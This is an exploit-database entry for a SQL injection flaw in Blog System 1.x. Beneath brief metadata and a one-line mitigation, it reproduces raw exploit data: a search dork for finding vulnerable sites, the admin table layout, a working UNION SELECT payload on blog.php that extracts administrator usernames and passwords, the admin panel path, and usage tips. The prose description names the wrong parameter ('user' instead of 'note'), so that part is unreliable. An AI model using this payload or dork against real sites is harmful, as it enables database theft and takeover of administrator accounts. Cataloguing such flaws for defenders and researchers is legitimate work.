header-logo
Suggest Exploit
vendor:
Blog System
by:
Dr.2, d3hydr8, jonathan59, inkubus, Tundergun, VMw4r3, TinKode, darkc0de's members
8,8
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Blog System
Affected Version From: 1.x
Affected Version To: 1.x
Patch Exists: NO
Related CWE: N/A
CPE: a:netartmedia:blog_system
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2020

Blog System Exploit

A SQL injection vulnerability exists in the Blog System 1.x. An attacker can exploit this vulnerability by sending a crafted HTTP request to the vulnerable application. The crafted request contains a malicious SQL query in the 'user' parameter of the 'blog.php' script. This can allow an attacker to extract sensitive information from the database, such as usernames and passwords.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.
Source

Exploit-DB raw data:

[#] Script : Blog System
[#] Version : 1.x
[#] Link : http://netartmedia.net/blogsystem/

[#] Dork : "powered by Blog System"
[#] Table : websiteadmin_admin_users
[#] Columns : id,username,password,type

[#] Exploit : /blog.php?user=[real-user]&note=-1549+union+all+select+1,2,3,concat_ws(0x3a,id,username,password,type),5,6,7,8,9+from+websiteadmin_admin_users--

[#] CP : /BO

[#] Regards : ('Dr.2' , 'd3hydr8' , 'jonathan59' , 'inkubus' , 'Tundergun' , 'VMw4r3' , 'TinKode' , 'darkc0de's members')

[#] Note : replace [real-user] with a user exists in the blog ,, otherwise it will not work.

Navigation

Suggest Exploit

Services By CQR